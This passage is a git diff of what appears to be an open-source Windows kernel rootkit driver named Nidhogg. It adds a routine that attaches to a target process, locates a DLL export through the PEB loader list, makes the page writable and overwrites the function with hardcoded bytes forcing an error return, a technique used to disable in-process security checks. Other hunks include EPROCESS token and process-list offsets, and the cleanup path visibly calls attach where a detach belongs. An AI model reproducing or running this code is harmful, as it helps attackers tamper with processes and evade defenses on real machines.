dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, oldProtection, &oldProtection); + // Validate that the required functions are loaded correctly. + if (!dimGlobals.ZwProtectVirtualMemory || !dimGlobals.MmCopyVirtualMemory) + return status; - ZwClose(hTargetProcess); - KdPrint((DRIVER_PREFIX "Cleaned up #6.\n")); - break; - } - } - } + // Getting the PEB of the target process. + if (PsLookupProcessByProcessId((HANDLE)ModuleToPatch.Pid, &TargetProcess) != STATUS_SUCCESS) + return status; + + KeAttachProcess(TargetProcess); + + PPEB targetPeb = dimGlobals.PsGetProcessPeb(TargetProcess); + + if (!targetPeb) + goto CleanUp; + + PPEB_LDR_DATA ldr = GetLDRFromPEB(targetPeb); + + for (int i = 0; !ldr && i < 10; i++) + { + KeDelayExecutionThread(KernelMode, TRUE, &time); } - ObDereferenceObject(TargetProcess); -} -/* -* Description: -* FindModule is responsible for searching if a module exists in the list of modules that need to be patched. -* -* Parameters: -* @patchedModule [PatchedModule&] -- Module's information. -* -* Returns: -* @status [bool] -- Whether found or not. -*/ -bool FindModule(PatchedModule& patchedModule) { - for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++) - if (_wcsicmp(pmGlobals.ModulesList.Modules[i].ModuleName, patchedModule.ModuleName) == 0 && - _stricmp(pmGlobals.ModulesList.Modules[i].FunctionName, patchedModule.FunctionName) == 0) - return true; - return false; -} + if (!ldr) + goto CleanUp; -/* -* Description: -* AddModule is responsible for adding a module to the list of modules that need to be patched. -* -* Parameters: -* @patchedModule [PatchedModule&] -- Module to add. -* -* Returns: -* @status [bool] -- Whether successfully added or not. -*/ -bool AddModule(PatchedModule& patchedModule) { - - for (int i = 0; i < MAX_PATCHED_MODULES; i++) - if (pmGlobals.ModulesList.Modules[i].FunctionName == nullptr) { - auto functionNameLen = (strlen(patchedModule.FunctionName) + 1) * sizeof(CHAR); - auto functionNameBuffer = (CHAR*)ExAllocatePoolWithTag(PagedPool, functionNameLen, DRIVER_TAG); - - // Not enough resources. - if (!functionNameBuffer) { + // Getting the module's image base. + moduleImageBase = GetModuleImageBase(ldr, ModuleToPatch.ModuleName); + + if (!moduleImageBase) + goto CleanUp; + + // Validating module. + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleImageBase; + + // Checking that the image is valid PE file. + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) + goto CleanUp; + + PFULL_IMAGE_NT_HEADERS ntHeaders = (PFULL_IMAGE_NT_HEADERS)((PUCHAR)moduleImageBase + dosHeader->e_lfanew); + + if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) + goto CleanUp; + + IMAGE_OPTIONAL_HEADER optionalHeader = ntHeaders->OptionalHeader; + + if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) + goto CleanUp; + + // Iterating the export directory. + PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)moduleImageBase + optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + DWORD* addresses = (DWORD*)((PUCHAR)moduleImageBase + exportDirectory->AddressOfFunctions); + WORD* ordinals = (WORD*)((PUCHAR)moduleImageBase + exportDirectory->AddressOfNameOrdinals); + DWORD* names = (DWORD*)((PUCHAR)moduleImageBase + exportDirectory->AddressOfNames); + + for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) { + if (_stricmp((char*)((PUCHAR)moduleImageBase + names[j]), ModuleToPatch.FunctionName) == 0) { + if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, &hTargetProcess) != STATUS_SUCCESS) { + KdPrint((DRIVER_PREFIX "Failed to get process to handle.\n")); + success = false; break; } - auto moduleNameLen = (wcslen(patchedModule.ModuleName) + 1) * sizeof(WCHAR); - auto moduleNameBuffer = (WCHAR*)ExAllocatePoolWithTag(PagedPool, moduleNameLen, DRIVER_TAG); + auto patchLen = strlen(ModuleToPatch.Patch); + auto functionAddress = (PVOID)((PUCHAR)moduleImageBase + addresses[ordinals[j]]); + + // Adding write permissions. + status = ZwQueryVirtualMemory(hTargetProcess, functionAddress, MemoryBasicInformation, &memInfo, sizeof(MEMORY_BASIC_INFORMATION), &outBytes); - // Not enough resources. - if (!moduleNameBuffer) { - ExFreePoolWithTag(functionNameBuffer, DRIVER_TAG); + if (status != STATUS_SUCCESS) { + KdPrint((DRIVER_PREFIX "Failed to query protection, (0x%08X).\n", status)); + ZwClose(hTargetProcess); + success = false; break; } - auto patchLen = strlen((char*)patchedModule.Patch) * sizeof(UCHAR); - auto patchBuffer = (PUCHAR)ExAllocatePoolWithTag(PagedPool, patchLen, DRIVER_TAG); + /*KdPrint((DRIVER_PREFIX "Protection of the page is - %d.\n", memInfo.AllocationProtect)); + KdPrint((DRIVER_PREFIX "State of the page is - %d.\n", memInfo.State)); + KdPrint((DRIVER_PREFIX "Type of the page is - %d.\n", memInfo.Type));*/ - // Not enough resources. - if (!patchBuffer) { - ExFreePoolWithTag(moduleNameBuffer, DRIVER_TAG); - ExFreePoolWithTag(functionNameBuffer, DRIVER_TAG); - break; + changeProtection = memInfo.AllocationProtect != PAGE_EXECUTE_WRITECOPY && memInfo.AllocationProtect != PAGE_EXECUTE_READWRITE; + + if (changeProtection) { + status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection); + + if (status != STATUS_SUCCESS) { + KdPrint((DRIVER_PREFIX "Failed to change protection, (0x%08X).\n", status)); + ZwClose(hTargetProcess); + success = false; + break; + } } - strcpy_s(functionNameBuffer, functionNameLen / sizeof(CHAR), patchedModule.FunctionName); - wcscpy_s(moduleNameBuffer, moduleNameLen / sizeof(WCHAR), patchedModule.ModuleName); - memcpy_s(patchBuffer, patchLen, patchedModule.Patch, patchLen); - pmGlobals.ModulesList.Modules[i].FunctionName = functionNameBuffer; - pmGlobals.ModulesList.Modules[i].ModuleName = moduleNameBuffer; - pmGlobals.ModulesList.Modules[i].Patch = patchBuffer; - pmGlobals.ModulesList.PatchedModulesCount++; - return true; + // Patching the function. + SIZE_T written; + char patch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; + + // status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), pmGlobals.ModulesList.Modules[i].Patch, Process, functionAddress, patchLen, KernelMode, &written); + status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), &patch[0], TargetProcess, functionAddress, 6, KernelMode, &written); + + if (status != STATUS_SUCCESS) { + KdPrint((DRIVER_PREFIX "MmCopyVirtualMemory failed status, (0x%08X).\n", status)); + success = false; + } + else + KdPrint((DRIVER_PREFIX "Patched function #5.\n")); + + // Restoring permissions and cleaning up. + if (changeProtection) + dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, oldProtection, &oldProtection); + + ZwClose(hTargetProcess); + KdPrint((DRIVER_PREFIX "Cleaned up #6.\n")); + break; } - return false; + } + + if (success) + status = STATUS_SUCCESS; +CleanUp: + KeAttachProcess(TargetProcess); + ObDereferenceObject(TargetProcess); + return status; } -/* -* Description: -* RemoveModule is responsible for removing a module from the list of modules that need to be patched. -* -* Parameters: -* @patchedModule [PatchedModule&] -- Module to add. -* -* Returns: -* @status [bool] -- Whether successfully removed or not. -*/ -bool RemoveModule(PatchedModule& patchedModule) { - for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++) - if (_wcsicmp(pmGlobals.ModulesList.Modules[i].ModuleName, patchedModule.ModuleName) == 0 && - _stricmp(pmGlobals.ModulesList.Modules[i].FunctionName, patchedModule.FunctionName) == 0) { - - ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].FunctionName, DRIVER_TAG); - ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].ModuleName, DRIVER_TAG); - ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].Patch, DRIVER_TAG); - pmGlobals.ModulesList.Modules[i].FunctionName = nullptr; - pmGlobals.ModulesList.Modules[i].ModuleName = nullptr; - pmGlobals.ModulesList.Modules[i].Patch = nullptr; - pmGlobals.ModulesList.PatchedModulesCount--; - return true; +PPEB_LDR_DATA GetLDRFromPEB(PPEB peb) { + PPEB_LDR_DATA ldr = NULL; + RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) }; + NTSTATUS result = RtlGetVersion(&osVersion); + + if (NT_SUCCESS(result)) { + switch (osVersion.dwBuildNumber) { + case WIN_1507: + { + PPEB_1507 peb1507 = (PPEB_1507)peb; + ldr = peb1507->Ldr; + break; + } + case WIN_1511: + case WIN_1607: + case WIN_1703: + { + PPEB_1511 peb1511 = (PPEB_1511)peb; + ldr = peb1511->Ldr; + break; + } + case WIN_1709: + { + PPEB_1709 peb1709 = (PPEB_1709)peb; + ldr = peb1709->Ldr; + break; + } + case WIN_1803: + { + PPEB_1803 peb1803 = (PPEB_1803)peb; + ldr = peb1803->Ldr; + break; + } + case WIN_1809: + { + PPEB_1809 peb1809 = (PPEB_1809)peb; + ldr = peb1809->Ldr; + break; + } + case WIN_1903: + case WIN_1909: + case WIN_2004: + case WIN_20H2: + case WIN_21H1: + case WIN_21H2: + case WIN_22H2: + { + PPEB_1903 peb1903 = (PPEB_1903)peb; + ldr = peb1903->Ldr; + break; + } + default: + { + PPEB_WIN11 peb11 = (PPEB_WIN11)peb; + ldr = peb11->Ldr; + break; + } } - return false; + } + + return ldr; +} + + +PVOID GetModuleImageBase(PPEB_LDR_DATA ldr, WCHAR* moduleName) { + PVOID imageBase = NULL; + RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) }; + NTSTATUS result = RtlGetVersion(&osVersion); + + if (NT_SUCCESS(result)) { + switch (osVersion.dwBuildNumber) { + case WIN_1507: + case WIN_1511: + { + for (PLIST_ENTRY pListEntry = ldr->InLoadOrderModuleList.Flink; + pListEntry != &ldr->InLoadOrderModuleList; + pListEntry = pListEntry->Flink) { + PLDR_DATA_TABLE_ENTRY_1507 pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY_1507, InLoadOrderLinks); + + if (wcisstr(pEntry->BaseDllName.Buffer, moduleName)) { + imageBase = pEntry->DllBase; + break; + } + } + break; + } + case WIN_1607: + case WIN_1703: + case WIN_1709: + case WIN_1803: + case WIN_1809: + case WIN_1903: + case WIN_1909: + case WIN_2004: + case WIN_20H2: + case WIN_21H1: + case WIN_21H2: + case WIN_22H2: + { + for (PLIST_ENTRY pListEntry = ldr->InLoadOrderModuleList.Flink; + pListEntry != &ldr->InLoadOrderModuleList; + pListEntry = pListEntry->Flink) { + PLDR_DATA_TABLE_ENTRY_1607 pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY_1607, InLoadOrderLinks); + + if (wcisstr(pEntry->BaseDllName.Buffer, moduleName)) { + imageBase = pEntry->DllBase; + break; + } + } + break; + } + default: + { + for (PLIST_ENTRY pListEntry = ldr->InLoadOrderModuleList.Flink; + pListEntry != &ldr->InLoadOrderModuleList; + pListEntry = pListEntry->Flink) { + PLDR_DATA_TABLE_ENTRY_WIN11 pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY_WIN11, InLoadOrderLinks); + + if (wcisstr(pEntry->BaseDllName.Buffer, moduleName)) { + imageBase = pEntry->DllBase; + break; + } + } + break; + } + } + } + + return imageBase; } diff --git a/Nidhogg/Nidhogg.cpp b/Nidhogg/Nidhogg.cpp index 2be0daa..5b99353 100644 --- a/Nidhogg/Nidhogg.cpp +++ b/Nidhogg/Nidhogg.cpp @@ -1,5 +1,4 @@ #include "pch.h" -#include "Nidhogg.h" #include "NidhoggUtils.h" extern "C" @@ -8,7 +7,6 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) { pGlobals.Init(); fGlobals.Init(); rGlobals.Init(); - pmGlobals.Init(); dimGlobals.Init(); // Setting up the device object. @@ -68,8 +66,6 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) { return status; } - status = PsSetLoadImageNotifyRoutine(OnImageLoad); - if (!NT_SUCCESS(status)) { KdPrint((DRIVER_PREFIX "failed to register image notify callback: (0x%08X)\n", status)); @@ -87,8 +83,6 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) { if (!NT_SUCCESS(status)) { KdPrint((DRIVER_PREFIX "failed to register registry callback: (0x%08X)\n", status)); - PsRemoveLoadImageNotifyRoutine(OnImageLoad); - if (registrationHandle) { ObUnRegisterCallbacks(registrationHandle); registrationHandle = NULL; @@ -126,8 +120,6 @@ void NidhoggUnload(PDRIVER_OBJECT DriverObject) { KdPrint((DRIVER_PREFIX "failed to unregister registry callbacks: (0x%08X)\n", status)); } - status = PsRemoveLoadImageNotifyRoutine(OnImageLoad); - if (!NT_SUCCESS(status)) { KdPrint((DRIVER_PREFIX "failed to unregister image load callback: (0x%08X)\n", status)); } @@ -773,64 +765,22 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { auto data = (PatchedModule*)Irp->AssociatedIrp.SystemBuffer; - if (strlen((*data).FunctionName) == 0 || wcslen((*data).ModuleName) == 0 || strlen((char*)(*data).Patch) == 0) { + if (strlen((*data).FunctionName) == 0 || wcslen((*data).ModuleName) == 0 || strlen((*data).Patch) == 0 || + data->Pid <= 0 || data->Pid == SYSTEM_PROCESS_PID) { KdPrint((DRIVER_PREFIX "Buffer is empty.\n")); status = STATUS_INVALID_PARAMETER; break; } - AutoLock locker(pmGlobals.Lock); - - if (pmGlobals.ModulesList.PatchedModulesCount == MAX_PATCHED_MODULES) { - KdPrint((DRIVER_PREFIX "Module list is full.\n")); - status = STATUS_TOO_MANY_CONTEXT_IDS; - break; - } - - if (!FindModule(*data)) { - if (!AddModule(*data)) { - KdPrint((DRIVER_PREFIX "Failed to add module.\n")); - status = STATUS_UNSUCCESSFUL; - break; - } - + status = PatchModule(*data); + + if (status == STATUS_SUCCESS) { auto prevIrql = KeGetCurrentIrql(); KeLowerIrql(PASSIVE_LEVEL); - KdPrint((DRIVER_PREFIX "Patching module %ws.\n", (*data).ModuleName)); + KdPrint((DRIVER_PREFIX "Patched %s for process %d.\n", (*data).FunctionName, data->Pid)); KeRaiseIrql(prevIrql, &prevIrql); - break; - } - } - - case IOCTL_NIDHOGG_UNPATCH_MODULE: - { - auto size = stack->Parameters.DeviceIoControl.InputBufferLength; - - if (size % sizeof(PatchedModule) != 0) { - KdPrint((DRIVER_PREFIX "Invalid buffer type.\n")); - status = STATUS_INVALID_BUFFER_SIZE; - break; - } - - auto data = (PatchedModule*)Irp->AssociatedIrp.SystemBuffer; - - if (strlen((*data).FunctionName) == 0 || wcslen((*data).ModuleName) == 0) { - KdPrint((DRIVER_PREFIX "Buffer is empty.\n")); - status = STATUS_INVALID_PARAMETER; - break; } - AutoLock locker(pmGlobals.Lock); - - if (!RemoveModule(*data)) { - KdPrint((DRIVER_PREFIX "Module not found.\n")); - status = STATUS_NOT_FOUND; - break; - } - auto prevIrql = KeGetCurrentIrql(); - KeLowerIrql(PASSIVE_LEVEL); - KdPrint((DRIVER_PREFIX "Removed patched module %ws.\n", (*data).ModuleName)); - KeRaiseIrql(prevIrql, &prevIrql); break; } @@ -887,19 +837,4 @@ void ClearAll() { rGlobals.ProtectedItems.Values.ValuesName[i] = nullptr; } rGlobals.ProtectedItems.Values.ValuesCount = 0; - - AutoLock moduleLocker(pmGlobals.Lock); - - for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++) { - if (pmGlobals.ModulesList.Modules[i].FunctionName) - ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].FunctionName, DRIVER_TAG); - if (pmGlobals.ModulesList.Modules[i].ModuleName) - ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].ModuleName, DRIVER_TAG); - if (pmGlobals.ModulesList.Modules[i].Patch) - ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].Patch, DRIVER_TAG); - pmGlobals.ModulesList.Modules[i].FunctionName = nullptr; - pmGlobals.ModulesList.Modules[i].ModuleName = nullptr; - pmGlobals.ModulesList.Modules[i].Patch = nullptr; - } - pmGlobals.ModulesList.PatchedModulesCount = 0; } diff --git a/Nidhogg/Nidhogg.h b/Nidhogg/Nidhogg.h index 473cd8c..e2c3771 100644 --- a/Nidhogg/Nidhogg.h +++ b/Nidhogg/Nidhogg.h @@ -29,9 +29,7 @@ #define IOCTL_NIDHOGG_CLEAR_REGITEMS CTL_CODE(0x8000, 0x80C, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_QUERY_REGITEMS CTL_CODE(0x8000, 0x80D, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_NIDHOGG_GLOBAL_PATCH_MODULE CTL_CODE(0x8000, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_NIDHOGG_GLOBAL_UNPATCH_MODULE CTL_CODE(0x8000, 0x80F, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_NIDHOGG_PATCH_MODULE CTL_CODE(0x8000, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_PATCH_MODULE CTL_CODE(0x8000, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS) // ***************************************************************************************************** #define MAX_PATCHED_MODULES 256 @@ -50,6 +48,7 @@ void ClearAll(); typedef NTSTATUS(NTAPI* tZwProtectVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, SIZE_T* NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection); typedef NTSTATUS(NTAPI* tMmCopyVirtualMemory)(PEPROCESS SourceProcess, PVOID SourceAddress, PEPROCESS TargetProcess, PVOID TargetAddress, SIZE_T BufferSize, KPROCESSOR_MODE PreviousMode, PSIZE_T ReturnSize); +typedef PPEB(NTAPI* tPsGetProcessPeb)(PEPROCESS Process); // Globals. PVOID registrationHandle = NULL; @@ -57,6 +56,7 @@ PVOID registrationHandle = NULL; struct DynamicImportedModulesGlobal { tZwProtectVirtualMemory ZwProtectVirtualMemory; tMmCopyVirtualMemory MmCopyVirtualMemory; + tPsGetProcessPeb PsGetProcessPeb; void Init() { UNICODE_STRING routineName; @@ -64,32 +64,19 @@ struct DynamicImportedModulesGlobal { ZwProtectVirtualMemory = (tZwProtectVirtualMemory)MmGetSystemRoutineAddress(&routineName); RtlInitUnicodeString(&routineName, L"MmCopyVirtualMemory"); MmCopyVirtualMemory = (tMmCopyVirtualMemory)MmGetSystemRoutineAddress(&routineName); + RtlInitUnicodeString(&routineName, L"PsGetProcessPeb"); + PsGetProcessPeb = (tPsGetProcessPeb)MmGetSystemRoutineAddress(&routineName); } }; DynamicImportedModulesGlobal dimGlobals; struct PatchedModule { - PUCHAR Patch; + ULONG Pid; + CHAR* Patch; CHAR* FunctionName; WCHAR* ModuleName; }; -struct PatchedModulesList { - int PatchedModulesCount; - PatchedModule Modules[MAX_PATCHED_MODULES]; -}; - -struct PatchedModulesGlobal { - PatchedModulesList ModulesList; - FastMutex Lock; - - void Init() { - ModulesList.PatchedModulesCount = 0; - Lock.Init(); - } -}; -PatchedModulesGlobal pmGlobals; - struct ProcessesList { int PidsCount; ULONG Pids[MAX_PIDS]; diff --git a/Nidhogg/NidhoggUtils.h b/Nidhogg/NidhoggUtils.h index ff7a9c6..c9f487b 100644 --- a/Nidhogg/NidhoggUtils.h +++ b/Nidhogg/NidhoggUtils.h @@ -1,6 +1,7 @@ #pragma once #include "pch.h" #include "WindowsTypes.h" +#include "Nidhogg.h" #include "NidhoggHelperFunctions.hpp" #include "ProcessUtils.hpp" #include "FileUtils.hpp" diff --git a/Nidhogg/ProcessUtils.hpp b/Nidhogg/ProcessUtils.hpp index f2955c4..0c70882 100644 --- a/Nidhogg/ProcessUtils.hpp +++ b/Nidhogg/ProcessUtils.hpp @@ -114,17 +114,17 @@ ULONG GetActiveProcessLinksOffset() { if (NT_SUCCESS(result)) { switch (osVersion.dwBuildNumber) { - case 10240: - case 10586: - case 14393: - case 18362: - case 18363: + case WIN_1507: + case WIN_1511: + case WIN_1607: + case WIN_1903: + case WIN_1909: activeProcessLinks = 0x2f0; break; - case 15063: - case 16299: - case 17134: - case 17763: + case WIN_1703: + case WIN_1709: + case WIN_1803: + case WIN_1809: activeProcessLinks = 0x2e8; break; default: @@ -241,17 +241,17 @@ UINT64 GetTokenOffset() { if (NT_SUCCESS(result)) { switch (osVersion.dwBuildNumber) { - case 18362: - case 18363: + case WIN_1903: + case WIN_1909: tokenOffset = 0x360; break; - case 10240: - case 10586: - case 14393: - case 15063: - case 16299: - case 17134: - case 17763: + case WIN_1507: + case WIN_1511: + case WIN_1607: + case WIN_1703: + case WIN_1709: + case WIN_1803: + case WIN_1809: tokenOffset = 0x358; break; default: diff --git a/Nidhogg/WindowsTypes.h b/Nidhogg/WindowsTypes.h index a33cc79..0d23ed7 100644 --- a/Nidhogg/WindowsTypes.h +++ b/Nidhogg/WindowsTypes.h @@ -1,6 +1,23 @@ #pragma once // Documented. +#define WIN_1507 10240 +#define WIN_1511 10586 +#define WIN_1607 14393 +#define WIN_1703 15063 +#define WIN_1709 16299 +#define WIN_1803 17134 +#define WIN_1809 17763 +#define WIN_1903 18362 +#define WIN_1909 18363 +#define WIN_2004 19041 +#define WIN_20H2 19042 +#define WIN_21H1 19043 +#define WIN_21H2 19044 +#define WIN_22H2 19045 +#define WIN_1121H2 22000 +#define WIN_1122H2 22621 + #define IMAGE_DOS_SIGNATURE 0x5A4D #define IMAGE_NT_SIGNATURE 0x00004550 @@ -117,6 +134,1437 @@ typedef struct _FULL_IMAGE_NT_HEADERS { IMAGE_OPTIONAL_HEADER OptionalHeader; } FULL_IMAGE_NT_HEADERS, * PFULL_IMAGE_NT_HEADERS; +#pragma warning(default : 4214) + +enum LDR_DDAG_STATE +{ + LdrModulesMerged = -5, + LdrModulesInitError = -4, + LdrModulesSnapError = -3, + LdrModulesUnloaded = -2, + LdrModulesUnloading = -1, + LdrModulesPlaceHolder = 0, + LdrModulesMapping = 1, + LdrModulesMapped = 2, + LdrModulesWaitingForDependencies = 3, + LdrModulesSnapping = 4, + LdrModulesSnapped = 5, + LdrModulesCondensed = 6, + LdrModulesReadyToInit = 7, + LdrModulesInitializing = 8, + LdrModulesReadyToRun = 9 +}; + +enum LDR_DLL_LOAD_REASON +{ + LoadReasonStaticDependency = 0, + LoadReasonStaticForwarderDependency = 1, + LoadReasonDynamicForwarderDependency = 2, + LoadReasonDelayloadDependency = 3, + LoadReasonDynamicLoad = 4, + LoadReasonAsImageLoad = 5, + LoadReasonAsDataLoad = 6, + LoadReasonEnclavePrimary = 7, + LoadReasonEnclaveDependency = 8, + LoadReasonPatchImage = 9, + LoadReasonUnknown = -1 +}; + +//0x4 bytes (sizeof) +enum LDR_HOT_PATCH_STATE +{ + LdrHotPatchBaseImage = 0, + LdrHotPatchNotApplied = 1, + LdrHotPatchAppliedReverse = 2, + LdrHotPatchAppliedForward = 3, + LdrHotPatchFailedToPatch = 4, + LdrHotPatchStateMax = 5 +}; + +typedef struct _PEB_LDR_DATA +{ + ULONG Length; //0x0 + UCHAR Initialized; //0x4 + PVOID SsHandle; //0x8 + LIST_ENTRY InLoadOrderModuleList; //0x10 + LIST_ENTRY InMemoryOrderModuleList; //0x20 + LIST_ENTRY InInitializationOrderModuleList; //0x30 + PVOID EntryInProgress; //0x40 + UCHAR ShutdownInProgress; //0x48 + PVOID ShutdownThreadId; //0x50 +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +//0x8 bytes (sizeof) +typedef struct _LDRP_CSLIST +{ + SINGLE_LIST_ENTRY* Tail; //0x0 +} LDRP_CSLIST, * PLDRP_CSLIST; + +//0x50 bytes (sizeof) +typedef struct _LDR_DDAG_NODE +{ + LIST_ENTRY Modules; //0x0 + struct _LDR_SERVICE_TAG_RECORD* ServiceTagList; //0x10 + ULONG LoadCount; //0x18 + ULONG LoadWhileUnloadingCount; //0x1c + ULONG LowestLink; //0x20 + LDRP_CSLIST Dependencies; //0x28 + LDRP_CSLIST IncomingDependencies; //0x30 + LDR_DDAG_STATE State; //0x38 + SINGLE_LIST_ENTRY CondenseLink; //0x40 + ULONG PreorderNumber; //0x48 +} LDR_DDAG_NODE, * PLDR_DDAG_NODE; + +//0x28 bytes (sizeof) +typedef struct _RTL_CRITICAL_SECTION +{ + struct _RTL_CRITICAL_SECTION_DEBUG* DebugInfo; //0x0 + LONG LockCount; //0x8 + LONG RecursionCount; //0xc + VOID* OwningThread; //0x10 + VOID* LockSemaphore; //0x18 + ULONGLONG SpinCount; //0x20 +} RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION; + +//0x10 bytes (sizeof) +typedef struct _LEAP_SECOND_DATA +{ + UCHAR Enabled; //0x0 + ULONG Count; //0x4 + LARGE_INTEGER Data[1]; //0x8 +} LEAP_SECOND_DATA, * PLEAP_SECOND_DATA; + +//0x118 bytes (sizeof) +typedef struct _LDR_DATA_TABLE_ENTRY_1507 +{ + LIST_ENTRY InLoadOrderLinks; //0x0 + LIST_ENTRY InMemoryOrderLinks; //0x10 + LIST_ENTRY InInitializationOrderLinks; //0x20 + PVOID DllBase; //0x30 + PVOID EntryPoint; //0x38 + ULONG SizeOfImage; //0x40 + UNICODE_STRING FullDllName; //0x48 + UNICODE_STRING BaseDllName; //0x58 + union + { + UCHAR FlagGroup[4]; //0x68 + ULONG Flags; //0x68 + struct + { + ULONG PackagedBinary : 1; //0x68 + ULONG MarkedForRemoval : 1; //0x68 + ULONG ImageDll : 1; //0x68 + ULONG LoadNotificationsSent : 1; //0x68 + ULONG TelemetryEntryProcessed : 1; //0x68 + ULONG ProcessStaticImport : 1; //0x68 + ULONG InLegacyLists : 1; //0x68 + ULONG InIndexes : 1; //0x68 + ULONG ShimDll : 1; //0x68 + ULONG InExceptionTable : 1; //0x68 + ULONG ReservedFlags1 : 2; //0x68 + ULONG LoadInProgress : 1; //0x68 + ULONG LoadConfigProcessed : 1; //0x68 + ULONG EntryProcessed : 1; //0x68 + ULONG ProtectDelayLoad : 1; //0x68 + ULONG ReservedFlags3 : 2; //0x68 + ULONG DontCallForThreads : 1; //0x68 + ULONG ProcessAttachCalled : 1; //0x68 + ULONG ProcessAttachFailed : 1; //0x68 + ULONG CorDeferredValidate : 1; //0x68 + ULONG CorImage : 1; //0x68 + ULONG DontRelocate : 1; //0x68 + ULONG CorILOnly : 1; //0x68 + ULONG ReservedFlags5 : 3; //0x68 + ULONG Redirected : 1; //0x68 + ULONG ReservedFlags6 : 2; //0x68 + ULONG CompatDatabaseProcessed : 1; //0x68 + }; + }; + USHORT ObsoleteLoadCount; //0x6c + USHORT TlsIndex; //0x6e + LIST_ENTRY HashLinks; //0x70 + ULONG TimeDateStamp; //0x80 + struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88 + PVOID Lock; //0x90 + LDR_DDAG_NODE* DdagNode; //0x98 + LIST_ENTRY NodeModuleLink; //0xa0 + struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0 + PVOID ParentDllBase; //0xb8 + PVOID SwitchBackContext; //0xc0 + RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8 + RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0 + ULONGLONG OriginalBase; //0xf8 + LARGE_INTEGER LoadTime; //0x100 + ULONG BaseNameHashValue; //0x108 + LDR_DLL_LOAD_REASON LoadReason; //0x10c + ULONG ImplicitPathOptions; //0x110 + ULONG ReferenceCount; //0x114 +} LDR_DATA_TABLE_ENTRY_1507, * PLDR_DATA_TABLE_ENTRY_1507; + +//0x120 bytes (sizeof) +typedef struct _LDR_DATA_TABLE_ENTRY_1607 +{ + LIST_ENTRY InLoadOrderLinks; //0x0 + LIST_ENTRY InMemoryOrderLinks; //0x10 + LIST_ENTRY InInitializationOrderLinks; //0x20 + PVOID DllBase; //0x30 + PVOID EntryPoint; //0x38 + ULONG SizeOfImage; //0x40 + UNICODE_STRING FullDllName; //0x48 + UNICODE_STRING BaseDllName; //0x58 + union + { + UCHAR FlagGroup[4]; //0x68 + ULONG Flags; //0x68 + struct + { + ULONG PackagedBinary : 1; //0x68 + ULONG MarkedForRemoval : 1; //0x68 + ULONG ImageDll : 1; //0x68 + ULONG LoadNotificationsSent : 1; //0x68 + ULONG TelemetryEntryProcessed : 1; //0x68 + ULONG ProcessStaticImport : 1; //0x68 + ULONG InLegacyLists : 1; //0x68 + ULONG InIndexes : 1; //0x68 + ULONG ShimDll : 1; //0x68 + ULONG InExceptionTable : 1; //0x68 + ULONG ReservedFlags1 : 2; //0x68 + ULONG LoadInProgress : 1; //0x68 + ULONG LoadConfigProcessed : 1; //0x68 + ULONG EntryProcessed : 1; //0x68 + ULONG ProtectDelayLoad : 1; //0x68 + ULONG ReservedFlags3 : 2; //0x68 + ULONG DontCallForThreads : 1; //0x68 + ULONG ProcessAttachCalled : 1; //0x68 + ULONG ProcessAttachFailed : 1; //0x68 + ULONG CorDeferredValidate : 1; //0x68 + ULONG CorImage : 1; //0x68 + ULONG DontRelocate : 1; //0x68 + ULONG CorILOnly : 1; //0x68 + ULONG ReservedFlags5 : 3; //0x68 + ULONG Redirected : 1; //0x68 + ULONG ReservedFlags6 : 2; //0x68 + ULONG CompatDatabaseProcessed : 1; //0x68 + }; + }; + USHORT ObsoleteLoadCount; //0x6c + USHORT TlsIndex; //0x6e + LIST_ENTRY 